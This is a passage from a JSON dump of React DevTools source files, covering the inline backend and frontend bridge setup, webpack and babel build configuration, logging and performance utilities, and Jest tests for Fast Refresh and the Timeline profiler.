if (hook) {\n    initBackend(hook, agent, contentWindow, getIsReloadAndProfileSupported());\n\n    // Setup React Native style editor if a renderer like react-native-web has injected it.\n    if (hook.resolveRNStyle) {\n      setupNativeStyleEditor(\n        bridge,\n        agent,\n        hook.resolveRNStyle,\n        hook.nativeStyleEditorValidAttributes,\n      );\n    }\n  }\n}\n\nexport function activate(\n  contentWindow: any,\n  {\n    bridge,\n  }: {\n    bridge?: BackendBridge,\n  } = {},\n): void {\n  if (bridge == null) {\n    bridge = createBridge(contentWindow);\n  }\n\n  startActivation(contentWindow, bridge);\n}\n\nexport function createBridge(contentWindow: any, wall?: Wall): BackendBridge {\n  const {parent} = contentWindow;\n\n  if (wall == null) {\n    wall = {\n      listen(fn) {\n        const onMessage = ({data}: $FlowFixMe) => {\n          fn(data);\n        };\n        contentWindow.addEventListener('message', onMessage);\n        return () => {\n          contentWindow.removeEventListener('message', onMessage);\n        };\n      },\n      send(event: string, payload: any, transferable?: Array<any>) {\n        parent.postMessage({event, payload}, '*', transferable);\n      },\n    };\n  }\n\n  return (new Bridge(wall): BackendBridge);\n}\n\nexport function initialize(contentWindow: any): void {\n  installHook(contentWindow, componentFiltersPromise);\n}\n"
  },
  {
    "path": "packages/react-devtools-inline/src/frontend.js",
    "content": "/** @flow */\n\nimport * as React from 'react';\nimport {forwardRef} from 'react';\nimport Bridge from 'react-devtools-shared/src/bridge';\nimport Store from 'react-devtools-shared/src/devtools/store';\nimport DevTools from 'react-devtools-shared/src/devtools/views/DevTools';\nimport {getSavedComponentFilters} from 'react-devtools-shared/src/utils';\n\nimport type {Wall} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {Props} from 'react-devtools-shared/src/devtools/views/DevTools';\nimport type {Config} from 'react-devtools-shared/src/devtools/store';\n\nexport function createStore(bridge: FrontendBridge, config?: Config): Store {\n  return new Store(bridge, {\n    checkBridgeProtocolCompatibility: true,\n    supportsTraceUpdates: true,\n    supportsTimeline: true,\n    ...config,\n  });\n}\n\nexport function createBridge(contentWindow: any, wall?: Wall): FrontendBridge {\n  if (wall == null) {\n    wall = {\n      listen(fn) {\n        // $FlowFixMe[missing-local-annot]\n        const onMessage = ({data}) => {\n          fn(data);\n        };\n        window.addEventListener('message', onMessage);\n        return () => {\n          window.removeEventListener('message', onMessage);\n        };\n      },\n      send(event: string, payload: any, transferable?: Array<any>) {\n        contentWindow.postMessage({event, payload}, '*', transferable);\n      },\n    };\n  }\n\n  return (new Bridge(wall): FrontendBridge);\n}\n\nexport function initialize(\n  contentWindow: any,\n  {\n    bridge,\n    store,\n  }: {\n    bridge?: FrontendBridge,\n    store?: Store,\n  } = {},\n): component(...props: Props) {\n  if (bridge == null) {\n    bridge = createBridge(contentWindow);\n  }\n\n  // Type refinement.\n  const frontendBridge = ((bridge: any): FrontendBridge);\n\n  if (store == null) {\n    store = createStore(frontendBridge);\n  }\n\n  const onGetSavedPreferences = () => {\n    // This is the only message we're listening for,\n    // so it's safe to cleanup after we've received it.\n    frontendBridge.removeListener('getSavedPreferences', onGetSavedPreferences);\n\n    const data = {\n      componentFilters: getSavedComponentFilters(),\n    };\n\n    // The renderer interface can't read saved preferences directly,\n    // because they are stored in localStorage within the context of the extension.\n    // Instead it relies on the extension to pass them through.\n    frontendBridge.send('savedPreferences', data);\n  };\n\n  frontendBridge.addListener('getSavedPreferences', onGetSavedPreferences);\n\n  const ForwardRef = forwardRef<Props, mixed>((props, ref) => (\n    <DevTools ref={ref} bridge={frontendBridge} store={store} {...props} />\n  ));\n  ForwardRef.displayName = 'DevTools';\n\n  return ForwardRef;\n}\n"
  },
  {
    "path": "packages/react-devtools-inline/src/hookNames.js",
    "content": "/** @flow */\n\nimport {\n  parseHookNames,\n  parseSourceAndMetadata,\n  purgeCachedMetadata,\n} from 'react-devtools-shared/src/hooks/parseHookNames';\n\nexport {parseHookNames, parseSourceAndMetadata, purgeCachedMetadata};\n"
  },
  {
    "path": "packages/react-devtools-inline/webpack.config.js",
    "content": "const {resolve} = require('path');\nconst Webpack = require('webpack');\nconst {\n  GITHUB_URL,\n  getVersionString,\n} = require('react-devtools-extensions/utils');\nconst {resolveFeatureFlags} = require('react-devtools-shared/buildUtils');\n\nconst NODE_ENV = process.env.NODE_ENV;\nif (!NODE_ENV) {\n  console.error('NODE_ENV not set');\n  process.exit(1);\n}\n\nconst __DEV__ = NODE_ENV === 'development';\n\nconst EDITOR_URL = process.env.EDITOR_URL || null;\n\nconst DEVTOOLS_VERSION = getVersionString();\n\nconst babelOptions = {\n  configFile: resolve(\n    __dirname,\n    '..',\n    'react-devtools-shared',\n    'babel.config.js',\n  ),\n};\n\nmodule.exports = {\n  mode: __DEV__ ? 'development' : 'production',\n  devtool: __DEV__ ? 'eval-cheap-source-map' : 'source-map',\n  entry: {\n    backend: './src/backend.js',\n    frontend: './src/frontend.js',\n    hookNames: './src/hookNames.js',\n  },\n  output: {\n    path: __dirname + '/dist',\n    publicPath: '/dist/',\n    filename: '[name].js',\n    chunkFilename: '[name].chunk.js',\n    library: {\n      type: 'commonjs2',\n    },\n  },\n  externals: {\n    react: 'react',\n    'react-dom': 'react-dom',\n    'react-dom/client': 'react-dom/client',\n    'react-is': 'react-is',\n    scheduler: 'scheduler',\n  },\n  node: {\n    global: false,\n  },\n  resolve: {\n    alias: {\n      'react-devtools-feature-flags': resolveFeatureFlags('inline'),\n    },\n  },\n  optimization: {\n    minimize: false,\n  },\n  plugins: [\n    new Webpack.ProvidePlugin({\n      process: 'process/browser',\n    }),\n    new Webpack.DefinePlugin({\n      __DEV__,\n      __EXPERIMENTAL__: true,\n      __EXTENSION__: false,\n      __PROFILE__: false,\n      __TEST__: NODE_ENV === 'test',\n      // TODO: Should this be feature tested somehow?\n      __IS_CHROME__: false,\n      __IS_FIREFOX__: false,\n      __IS_EDGE__: false,\n      __IS_NATIVE__: false,\n      'process.env.DEVTOOLS_PACKAGE': `\"react-devtools-inline\"`,\n      'process.env.DEVTOOLS_VERSION': `\"${DEVTOOLS_VERSION}\"`,\n      'process.env.EDITOR_URL': EDITOR_URL != null ? `\"${EDITOR_URL}\"` : null,\n      'process.env.GITHUB_URL': `\"${GITHUB_URL}\"`,\n      'process.env.NODE_ENV': `\"${NODE_ENV}\"`,\n    }),\n  ],\n  module: {\n    rules: [\n      {\n        test: /\\.worker\\.js$/,\n        use: [\n          {\n            loader: 'workerize-loader',\n            options: {\n              // Workers would have to be exposed on a public path in order to outline them.\n              inline: true,\n              name: '[name]',\n            },\n          },\n          {\n            loader: 'babel-loader',\n            options: babelOptions,\n          },\n        ],\n      },\n      {\n        test: /\\.js$/,\n        loader: 'babel-loader',\n        options: babelOptions,\n      },\n      {\n        test: /\\.css$/,\n        use: [\n          {\n            loader: 'style-loader',\n          },\n          {\n            loader: 'css-loader',\n            options: {\n              sourceMap: __DEV__,\n              modules: true,\n              localIdentName: '[local]___[hash:base64:5]',\n            },\n          },\n        ],\n      },\n    ],\n  },\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/README.md",
    "content": "This directory contains code shared between several DevTools packages:\n* /packages/react-devtools-core\n* /packages/react-devtools-extensions\n* /packages/react-devtools-inline\n\nIt is not published or released anywhere directly."
  },
  {
    "path": "packages/react-devtools-shared/SourceMapIgnoreListPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * The implementation of this plugin is based on similar webpack plugin in Angular CLI\n * https://github.com/angular/angular-cli/blob/16d8c552e99bfe65ded9e843e917dbb95eb8ec01/packages/angular_devkit/build_angular/src/tools/webpack/plugins/devtools-ignore-plugin.ts\n * and devtools-ignore-webpack-plugin\n * https://github.com/mondaychen/devtools-ignore-webpack-plugin/blob/d15274e4d2fdb74f73aa644f14773a5523823999/src/index.ts\n * which both are licensed under MIT\n */\n\nconst {Compilation} = require('webpack');\n\nconst IGNORE_LIST = 'ignoreList';\nconst PLUGIN_NAME = 'source-map-ignore-list-plugin';\n\nclass SourceMapIgnoreListPlugin {\n  constructor({shouldIgnoreSource}) {\n    this.shouldIgnoreSource = shouldIgnoreSource;\n  }\n\n  apply(compiler) {\n    const {RawSource} = compiler.webpack.sources;\n\n    compiler.hooks.compilation.tap(PLUGIN_NAME, compilation => {\n      compilation.hooks.processAssets.tap(\n        {\n          name: PLUGIN_NAME,\n          stage: Compilation.PROCESS_ASSETS_STAGE_DEV_TOOLING,\n          additionalAssets: true,\n        },\n        assets => {\n          // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n          for (const [name, asset] of Object.entries(assets)) {\n            if (!name.endsWith('.map')) {\n              continue;\n            }\n\n            const mapContent = asset.source().toString();\n            if (!mapContent) {\n              continue;\n            }\n\n            const map = JSON.parse(mapContent);\n            const ignoreList = [];\n\n            const sourcesCount = map.sources.length;\n            for (\n              let potentialSourceIndex = 0;\n              potentialSourceIndex < sourcesCount;\n              ++potentialSourceIndex\n            ) {\n              const source = map.sources[potentialSourceIndex];\n\n              if (this.shouldIgnoreSource(name, source)) {\n                ignoreList.push(potentialSourceIndex);\n              }\n            }\n\n            map[IGNORE_LIST] = ignoreList;\n            compilation.updateAsset(name, new RawSource(JSON.stringify(map)));\n          }\n        },\n      );\n    });\n  }\n}\n\nmodule.exports = SourceMapIgnoreListPlugin;\n"
  },
  {
    "path": "packages/react-devtools-shared/babel.config.js",
    "content": "const chromeManifest = require('../react-devtools-extensions/chrome/manifest.json');\nconst firefoxManifest = require('../react-devtools-extensions/firefox/manifest.json');\n\nconst minChromeVersion = parseInt(chromeManifest.minimum_chrome_version, 10);\nconst minFirefoxVersion = parseInt(\n  firefoxManifest.browser_specific_settings.gecko.strict_min_version,\n  10,\n);\nvalidateVersion(minChromeVersion);\nvalidateVersion(minFirefoxVersion);\n\nfunction validateVersion(version) {\n  if (version > 0 && version < 200) {\n    return;\n  }\n  throw new Error('Suspicious browser version in manifest: ' + version);\n}\n\nmodule.exports = api => {\n  const isTest = api.env('test');\n  const targets = {};\n  if (isTest) {\n    targets.node = 'current';\n  } else {\n    targets.chrome = minChromeVersion.toString();\n    targets.firefox = minFirefoxVersion.toString();\n\n    let additionalTargets = process.env.BABEL_CONFIG_ADDITIONAL_TARGETS;\n    if (additionalTargets) {\n      additionalTargets = JSON.parse(additionalTargets);\n      for (const target in additionalTargets) {\n        targets[target] = additionalTargets[target];\n      }\n    }\n  }\n  const plugins = [\n    ['babel-plugin-syntax-hermes-parser'],\n    ['@babel/plugin-transform-flow-strip-types'],\n    ['@babel/plugin-proposal-class-properties', {loose: false}],\n  ];\n  if (process.env.NODE_ENV !== 'production') {\n    plugins.push(['@babel/plugin-transform-react-jsx-source']);\n  }\n  return {\n    plugins,\n    presets: [\n      ['@babel/preset-env', {targets}],\n      '@babel/preset-react',\n      '@babel/preset-flow',\n    ],\n  };\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/buildUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nconst {resolve} = require('path');\n\nfunction resolveFeatureFlags(target) {\n  let flagsPath;\n  switch (target) {\n    case 'inline':\n    case 'shell':\n    case 'fusebox':\n      flagsPath = 'DevToolsFeatureFlags.default';\n      break;\n    case 'core/backend-oss':\n    case 'core/standalone-oss':\n      flagsPath = 'DevToolsFeatureFlags.core-oss';\n      break;\n    case 'core/backend-fb':\n    case 'core/standalone-fb':\n      flagsPath = 'DevToolsFeatureFlags.core-fb';\n      break;\n    case 'extension-oss':\n      flagsPath = 'DevToolsFeatureFlags.extension-oss';\n      break;\n    case 'extension-fb':\n      flagsPath = 'DevToolsFeatureFlags.extension-fb';\n      break;\n    default:\n      console.error(`Invalid target \"${target}\"`);\n      process.exit(1);\n  }\n\n  return resolve(__dirname, 'src/config/', flagsPath);\n}\n\nmodule.exports = {\n  resolveFeatureFlags,\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"react-devtools-shared\",\n  \"version\": \"0.0.0\",\n  \"scripts\": {\n    \"update-mock-source-maps\": \"babel-node --presets=@babel/preset-env,@babel/preset-flow ./src/hooks/__tests__/updateMockSourceMaps.js\"\n  },\n  \"devDependencies\": {\n    \"react-15\": \"npm:react@^15\",\n    \"react-dom-15\": \"npm:react-dom@^15\"\n  },\n  \"dependencies\": {\n    \"@babel/parser\": \"^7.28.3\",\n    \"@babel/preset-env\": \"7.26.9\",\n    \"@babel/preset-flow\": \"^7.10.4\",\n    \"@babel/runtime\": \"^7.11.2\",\n    \"@babel/traverse\": \"^7.28.3\",\n    \"@reach/menu-button\": \"^0.16.1\",\n    \"@reach/tooltip\": \"^0.16.0\",\n    \"clipboard-js\": \"^0.3.6\",\n    \"compare-versions\": \"^5.0.3\",\n    \"jsc-safe-url\": \"^0.2.4\",\n    \"json5\": \"^2.2.3\",\n    \"local-storage-fallback\": \"^4.1.1\",\n    \"react-virtualized-auto-sizer\": \"^1.0.23\",\n    \"react-window\": \"^1.8.10\",\n    \"rbush\": \"4.0.1\"\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/Logger.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\nimport {enableLogger} from 'react-devtools-feature-flags';\n\nexport type LoggerEvent =\n  | {\n      +event_name: 'loaded-dev-tools',\n    }\n  | {\n      +event_name: 'error',\n      +error_message: string | null,\n      +error_stack: string | null,\n      +error_component_stack: string | null,\n    }\n  | {\n      +event_name: 'selected-components-tab',\n    }\n  | {\n      +event_name: 'selected-profiler-tab',\n    }\n  | {\n      +event_name: 'selected-suspense-tab',\n    }\n  | {\n      +event_name: 'load-hook-names',\n      +event_status: 'success' | 'error' | 'timeout' | 'unknown',\n      +duration_ms: number,\n      +inspected_element_display_name: string | null,\n      +inspected_element_number_of_hooks: number | null,\n    }\n  | {\n      +event_name: 'select-element',\n      +metadata: {\n        +source: string,\n      },\n    }\n  | {\n      +event_name: 'inspect-element-button-clicked',\n    }\n  | {\n      +event_name: 'profiling-start',\n      +metadata: {\n        +current_tab: string,\n      },\n    }\n  | {\n      +event_name: 'profiler-tab-changed',\n      +metadata: {\n        +tabId: string,\n      },\n    }\n  | {\n      +event_name: 'settings-changed',\n      +metadata: {\n        +key: string,\n        +value: any,\n        ...\n      },\n    }\n  | {\n      +event_name: 'selected-editor-pane',\n    }\n  | {+event_name: 'selected-inspected-element-pane'};\n\nexport type LogFunction = LoggerEvent => void | Promise<void>;\n\nlet logFunctions: Array<LogFunction> = [];\nexport const logEvent: LogFunction =\n  enableLogger === true\n    ? function logEvent(event: LoggerEvent): void {\n        logFunctions.forEach(log => {\n          log(event);\n        });\n      }\n    : function logEvent() {};\n\nexport const registerEventLogger: (logFunction: LogFunction) => () => void =\n  enableLogger === true\n    ? function registerEventLogger(logFunction: LogFunction): () => void {\n        if (enableLogger) {\n          logFunctions.push(logFunction);\n          return function unregisterEventLogger() {\n            logFunctions = logFunctions.filter(log => log !== logFunction);\n          };\n        }\n        return () => {};\n      }\n    : function registerEventLogger(logFunction: LogFunction) {\n        return () => {};\n      };\n"
  },
  {
    "path": "packages/react-devtools-shared/src/PerformanceLoggingUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\nimport {__PERFORMANCE_PROFILE__} from './constants';\n\nconst supportsUserTiming =\n  typeof performance !== 'undefined' &&\n  // $FlowFixMe[method-unbinding]\n  typeof performance.mark === 'function' &&\n  // $FlowFixMe[method-unbinding]\n  typeof performance.clearMarks === 'function';\n\nconst supportsPerformanceNow =\n  // $FlowFixMe[method-unbinding]\n  typeof performance !== 'undefined' && typeof performance.now === 'function';\n\nfunction mark(markName: string): void {\n  if (supportsUserTiming) {\n    performance.mark(markName + '-start');\n  }\n}\n\nfunction measure(markName: string): void {\n  if (supportsUserTiming) {\n    performance.mark(markName + '-end');\n    performance.measure(markName, markName + '-start', markName + '-end');\n    performance.clearMarks(markName + '-start');\n    performance.clearMarks(markName + '-end');\n  }\n}\n\nfunction now(): number {\n  if (supportsPerformanceNow) {\n    return performance.now();\n  }\n  return Date.now();\n}\n\nexport async function withAsyncPerfMeasurements<TReturn>(\n  markName: string,\n  callback: () => Promise<TReturn>,\n  onComplete?: number => void,\n): Promise<TReturn> {\n  const start = now();\n  if (__PERFORMANCE_PROFILE__) {\n    mark(markName);\n  }\n  const result = await callback();\n\n  if (__PERFORMANCE_PROFILE__) {\n    measure(markName);\n  }\n\n  if (onComplete != null) {\n    const duration = now() - start;\n    onComplete(duration);\n  }\n\n  return result;\n}\n\nexport function withSyncPerfMeasurements<TReturn>(\n  markName: string,\n  callback: () => TReturn,\n  onComplete?: number => void,\n): TReturn {\n  const start = now();\n  if (__PERFORMANCE_PROFILE__) {\n    mark(markName);\n  }\n  const result = callback();\n\n  if (__PERFORMANCE_PROFILE__) {\n    measure(markName);\n  }\n\n  if (onComplete != null) {\n    const duration = now() - start;\n    onComplete(duration);\n  }\n\n  return result;\n}\n\nexport function withCallbackPerfMeasurements<TReturn>(\n  markName: string,\n  callback: (done: () => void) => TReturn,\n  onComplete?: number => void,\n): TReturn {\n  const start = now();\n  if (__PERFORMANCE_PROFILE__) {\n    mark(markName);\n  }\n\n  const done = () => {\n    if (__PERFORMANCE_PROFILE__) {\n      measure(markName);\n    }\n\n    if (onComplete != null) {\n      const duration = now() - start;\n      onComplete(duration);\n    }\n  };\n  return callback(done);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/UnsupportedBridgeOperationError.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport default class UnsupportedBridgeOperationError extends Error {\n  constructor(message: string) {\n    super(message);\n\n    // Maintains proper stack trace for where our error was thrown (only available on V8)\n    if (Error.captureStackTrace) {\n      Error.captureStackTrace(this, UnsupportedBridgeOperationError);\n    }\n\n    this.name = 'UnsupportedBridgeOperationError';\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/FastRefreshDevToolsIntegration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('Fast Refresh', () => {\n  let React;\n  let ReactFreshRuntime;\n  let act;\n  let babel;\n  let exportsObj;\n  let freshPlugin;\n  let store;\n  let withErrorsOrWarningsIgnored;\n\n  beforeEach(() => {\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n\n    exportsObj = undefined;\n\n    babel = require('@babel/core');\n    freshPlugin = require('react-refresh/babel');\n\n    store = global.store;\n\n    React = require('react');\n\n    ReactFreshRuntime = require('react-refresh/runtime');\n    ReactFreshRuntime.injectIntoGlobalHook(global);\n\n    const utils = require('./utils');\n    act = utils.act;\n    withErrorsOrWarningsIgnored = utils.withErrorsOrWarningsIgnored;\n  });\n\n  const {render: renderImplementation, getContainer} =\n    getVersionedRenderImplementation();\n\n  function execute(source) {\n    const compiled = babel.transform(source, {\n      babelrc: false,\n      presets: ['@babel/react'],\n      plugins: [\n        [freshPlugin, {skipEnvCheck: true}],\n        '@babel/plugin-transform-modules-commonjs',\n        '@babel/plugin-transform-destructuring',\n      ].filter(Boolean),\n    }).code;\n    exportsObj = {};\n    // eslint-disable-next-line no-new-func\n    new Function(\n      'global',\n      'React',\n      'exports',\n      '$RefreshReg$',\n      '$RefreshSig$',\n      compiled,\n    )(global, React, exportsObj, $RefreshReg$, $RefreshSig$);\n    // Module systems will register exports as a fallback.\n    // This is useful for cases when e.g. a class is exported,\n    // and we don't want to propagate the update beyond this module.\n    $RefreshReg$(exportsObj.default, 'exports.default');\n    return exportsObj.default;\n  }\n\n  function render(source) {\n    const Component = execute(source);\n    act(() => {\n      renderImplementation(<Component />);\n    });\n    // Module initialization shouldn't be counted as a hot update.\n    expect(ReactFreshRuntime.performReactRefresh()).toBe(null);\n  }\n\n  function patch(source) {\n    const prevExports = exportsObj;\n    execute(source);\n    const nextExports = exportsObj;\n\n    // Check if exported families have changed.\n    // (In a real module system we'd do this for *all* exports.)\n    // For example, this can happen if you convert a class to a function.\n    // Or if you wrap something in a HOC.\n    const didExportsChange =\n      ReactFreshRuntime.getFamilyByType(prevExports.default) !==\n      ReactFreshRuntime.getFamilyByType(nextExports.default);\n    if (didExportsChange) {\n      // In a real module system, we would propagate such updates upwards,\n      // and re-execute modules that imported this one. (Just like if we edited them.)\n      // This makes adding/removing/renaming exports re-render references to them.\n      // Here, we'll just force a re-render using the newer type to emulate this.\n      const NextComponent = nextExports.default;\n      act(() => {\n        renderImplementation(<NextComponent />);\n      });\n    }\n    act(() => {\n      const result = ReactFreshRuntime.performReactRefresh();\n      if (!didExportsChange) {\n        // Normally we expect that some components got updated in our tests.\n        expect(result).not.toBe(null);\n      } else {\n        // However, we have tests where we convert functions to classes,\n        // and in those cases it's expected nothing would get updated.\n        // (Instead, the export change branch above would take care of it.)\n      }\n    });\n    expect(ReactFreshRuntime._getMountedRootCount()).toBe(1);\n  }\n\n  function $RefreshReg$(type, id) {\n    ReactFreshRuntime.register(type, id);\n  }\n\n  function $RefreshSig$() {\n    return ReactFreshRuntime.createSignatureFunctionForTransform();\n  }\n\n  // @reactVersion >= 16.9\n  it('should not break the DevTools store', () => {\n    render(`\n      function Parent() {\n        return <Child key=\"A\" />;\n      };\n\n      function Child() {\n        return <div />;\n      };\n\n      export default Parent;\n    `);\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child key=\"A\">\n    `);\n\n    let element = getContainer().firstChild;\n    expect(getContainer().firstChild).not.toBe(null);\n\n    patch(`\n      function Parent() {\n        return <Child key=\"A\" />;\n      };\n\n      function Child() {\n        return <div />;\n      };\n\n      export default Parent;\n    `);\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child key=\"A\">\n    `);\n\n    // State is preserved; this verifies that Fast Refresh is wired up.\n    expect(getContainer().firstChild).toBe(element);\n    element = getContainer().firstChild;\n\n    patch(`\n      function Parent() {\n        return <Child key=\"B\" />;\n      };\n\n      function Child() {\n        return <div />;\n      };\n\n      export default Parent;\n    `);\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child key=\"B\">\n    `);\n\n    // State is reset because hooks changed.\n    expect(getContainer().firstChild).not.toBe(element);\n  });\n\n  // @reactVersion < 18.0\n  // @reactVersion >= 16.9\n  it('should not break when there are warnings in between patching (before post commit hook)', () => {\n    withErrorsOrWarningsIgnored(['Expected:'], () => {\n      render(`\n      const {useState} = React;\n\n      export default function Component() {\n        const [state, setState] = useState(1);\n        console.warn(\"Expected: warning during render\");\n        return null;\n      }\n    `);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 1\n      [root]\n          <Component> ⚠\n    `);\n\n    withErrorsOrWarningsIgnored(['Expected:'], () => {\n      patch(`\n      const {useEffect, useState} = React;\n\n      export default function Component() {\n        const [state, setState] = useState(1);\n        console.warn(\"Expected: warning during render\");\n        return null;\n      }\n    `);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 2\n      [root]\n          <Component> ⚠\n    `);\n\n    withErrorsOrWarningsIgnored(['Expected:'], () => {\n      patch(`\n      const {useEffect, useState} = React;\n\n      export default function Component() {\n        const [state, setState] = useState(1);\n        useEffect(() => {\n          console.error(\"Expected: error during effect\");\n        });\n        console.warn(\"Expected: warning during render\");\n        return null;\n      }\n    `);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 1\n      [root]\n          <Component> ⚠\n    `);\n\n    withErrorsOrWarningsIgnored(['Expected:'], () => {\n      patch(`\n      const {useEffect, useState} = React;\n\n      export default function Component() {\n        const [state, setState] = useState(1);\n        console.warn(\"Expected: warning during render\");\n        return null;\n      }\n    `);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 1\n      [root]\n          <Component> ⚠\n    `);\n  });\n\n  // @reactVersion >= 18.0\n  it('should not break when there are warnings in between patching (with post commit hook)', () => {\n    withErrorsOrWarningsIgnored(['Expected:'], () => {\n      render(`\n      const {useState} = React;\n\n      export default function Component() {\n        const [state, setState] = useState(1);\n        console.warn(\"Expected: warning during render\");\n        return null;\n      }\n    `);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 1\n      [root]\n          <Component> ⚠\n    `);\n\n    withErrorsOrWarningsIgnored(['Expected:'], () => {\n      patch(`\n      const {useEffect, useState} = React;\n\n      export default function Component() {\n        const [state, setState] = useState(1);\n        console.warn(\"Expected: warning during render\");\n        return null;\n      }\n    `);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 2\n      [root]\n          <Component> ⚠\n    `);\n\n    withErrorsOrWarningsIgnored(['Expected:'], () => {\n      patch(`\n      const {useEffect, useState} = React;\n\n      export default function Component() {\n        const [state, setState] = useState(1);\n        useEffect(() => {\n          console.error(\"Expected: error during effect\");\n        });\n        console.warn(\"Expected: warning during render\");\n        return null;\n      }\n    `);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      ✕ 1, ⚠ 1\n      [root]\n          <Component> ✕⚠\n    `);\n\n    withErrorsOrWarningsIgnored(['Expected:'], () => {\n      patch(`\n      const {useEffect, useState} = React;\n\n      export default function Component() {\n        const [state, setState] = useState(1);\n        console.warn(\"Expected: warning during render\");\n        return null;\n      }\n    `);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 1\n      [root]\n          <Component> ⚠\n    `);\n  });\n\n  // TODO (bvaughn) Write a test that checks in between the steps of patch\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/TimelineProfiler-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nimport {\n  getLegacyRenderImplementation,\n  getModernRenderImplementation,\n  normalizeCodeLocInfo,\n} from './utils';\n\nlet React = require('react');\nlet Scheduler;\nlet store;\nlet utils;\n\n// This flag is on experimental which disables timeline profiler.\nconst enableComponentPerformanceTrack =\n  React.version.startsWith('19') && React.version.includes('experimental');\n\ndescribe('Timeline profiler', () => {\n  if (enableComponentPerformanceTrack) {\n    test('no tests', () => {});\n    // Ignore all tests.\n    return;\n  }\n\n  beforeEach(() => {\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    React = require('react');\n    Scheduler = require('scheduler');\n\n    store = global.store;\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  describe('User Timing API', () => {\n    let currentlyNotClearedMarks;\n    let registeredMarks;\n    let featureDetectionMarkName = null;\n    let setPerformanceMock;\n\n    function createUserTimingPolyfill() {\n      featureDetectionMarkName = null;\n\n      currentlyNotClearedMarks = [];\n      registeredMarks = [];\n\n      // Remove file-system specific bits or version-specific bits of information from the module range marks.\n      function filterMarkData(markName) {\n        if (markName.startsWith('--react-internal-module-start')) {\n          return '--react-internal-module-start-  at filtered (<anonymous>:0:0)';\n        } else if (markName.startsWith('--react-internal-module-stop')) {\n          return '--react-internal-module-stop-  at filtered (<anonymous>:1:1)';\n        } else if (markName.startsWith('--react-version')) {\n          return '--react-version-<filtered-version>';\n        } else {\n          return markName;\n        }\n      }\n\n      // This is not a true polyfill, but it gives us enough to capture marks.\n      // Reference: https://developer.mozilla.org/en-US/docs/Web/API/User_Timing_API\n      return {\n        clearMarks(markName) {\n          markName = filterMarkData(markName);\n\n          currentlyNotClearedMarks = currentlyNotClearedMarks.filter(\n            mark => mark !== markName,\n          );\n        },\n        mark(markName, markOptions) {\n          markName = filterMarkData(markName);\n\n          if (featureDetectionMarkName === null) {\n            featureDetectionMarkName = markName;\n          }\n\n          registeredMarks.push(markName);\n          currentlyNotClearedMarks.push(markName);\n\n          if (markOptions != null) {\n            // This is triggers the feature detection.\n            markOptions.startTime++;\n          }\n        },\n      };\n    }\n\n    function eraseRegisteredMarks() {\n      registeredMarks.splice(0);\n    }\n\n    function dispatchAndSetCurrentEvent(element, event) {\n      try {\n        window.event = event;\n        element.dispatchEvent(event);\n      } finally {\n        window.event = undefined;\n      }\n    }\n\n    beforeEach(() => {\n      setPerformanceMock =\n        require('react-devtools-shared/src/backend/profilingHooks').setPerformanceMock_ONLY_FOR_TESTING;\n      setPerformanceMock(createUserTimingPolyfill());\n    });\n\n    afterEach(() => {\n      // Verify all logged marks also get cleared.\n      expect(currentlyNotClearedMarks).toHaveLength(0);\n\n      setPerformanceMock(null);\n    });\n\n    describe('with legacy render', () => {\n      const {render: legacyRender} = getLegacyRenderImplementation();\n\n      // @reactVersion <= 18.2\n      // @reactVersion >= 18.0\n      it('should mark sync render without suspends or state updates', () => {\n        utils.act(() => store.profilerStore.startProfiling());\n        legacyRender(<div />);\n        utils.act(() => store.profilerStore.stopProfiling());\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered 